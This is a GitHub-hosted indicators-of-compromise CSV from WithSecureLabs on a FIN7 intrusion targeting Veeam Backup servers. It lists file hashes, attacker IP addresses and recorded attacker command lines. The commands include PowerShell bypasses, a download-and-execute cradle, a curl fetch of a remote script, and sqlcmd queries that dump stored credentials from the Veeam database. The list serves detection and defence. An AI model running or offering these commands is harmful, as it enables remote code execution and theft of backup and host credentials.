

WithSecureLabs / iocs

Public

Notifications

Fork 4

Star 14

<> Code

Issues

Pull requests

Actions

Projects

Security

Insights

Files

344203d

Go to file

DUCKTAIL

FIN7VEEAM

iocs.csv

SILKLOADER

LICENSE

README.md

iocs / FIN7VEEAM / iocs.csv

Singh, Neeraj

Added FIN7VEEAM iocs

dc07fab · last year

History

PreviewCodeBlame

50 lines (50 loc) · 4.66 KB

RawCopyDownload

Search this file

	Indicator type	Value
1		
2	SHA1	8687b6b1508a93556d6e30d14e5c4ee9971f2d80
3	SHA1	b621f8c5e9033718b4e9d47a2f0eccb9783f612a
4	SHA1	e5480a47172e3f75dbf0384f4ca82c7b47910e0f
5	IP	217.12.206.176
6	IP	162.248.225.115
7	IP	45.136.199.128
8	IP	91.149.243.181
9	IP	91.199.147.152
10	IP	95.217.49.123
11	IP	77.75.230.112
12	IP	194.87.148.41
13	IP	195.123.244.162
14	Command line	powershell.exe -noni -nop -exe bypass -f \\XXX.XXX.XXX.XXX\ADMIN\$\temp\nFcv5ke38cnE.ps1
15	Command line	powershell.exe -noni -nop -exe bypass -f \\XXX.XXX.XXX.XXX\ADMIN\$\temp\8MDg144UDiaz.ps1 \\XXX.XXX.XXX.XXX\ADMIN\$\temp\8MDg144UDiaz.ps1
16	Command line	C:\Windows\system32\cmd.exe /c powershell.exe -ex bypass -Command "iex ((New-Object Net.WebClient).Download('http://10.10.10.10/Temp/8MDg144UDiaz.ps1'))"
17	Command line	powershell.exe -ex bypass -noprof -nolog -nonint -f "C:\Windows\TEMP\934F.ps1"
18	Command line	curl -O https://temp.sh/eJkTm/gup18.ps1
19	Command line	whoami
20	Command line	systeminfo
21	Command line	ping -n 1 -a XXX.XXX.XXX.XXX
22	Command line	wmic /user:"REDACTED" /password:"REDACTED" /node:"XXX.XXX.XXX.XXX" process list brief
23	Command line	net use w: \\XXX.XXX.XXX.XXX\c\$ /user:XXX.XXX.XXX.XXX\REDACTED REDACTED
24	Command line	net use w: /d /y
25	Command line	WMIC LOGICALDISK GET Name,Size,FreeSpace
26	Command line	ipconfig /all
27	Command line	tasklist /v
28	Command line	netstat -aon
29	Command line	nslookup myip.opendns.com. resolver1.opendns.com
30	Command line	reg query "HKLM\software\veeam\veeam backup and replication"
31	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup-2 SELECT top 100 * FROM Credentials;

Page 1 of 2

32	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM JobSourceRep
33	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM BJobs.VSphere
34	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM SmbFileShare
35	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM VSphere.Work
36	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM ObjectsInBack
37	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM BackupReposi
38	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM PhysicalHosts
39	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM Ssh_creds;"
40	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM HostNetwork;
41	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM HostCreds;"
42	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM Backups;"
43	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM Locations;"
44	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM BJobs;"
45	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM PhysicalHosts
46	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM ObjectsInJobs
47	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM Hosts;"
48	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM JobVssCredsV
49	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM HostsByJobs;"
50	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM HostCreds;"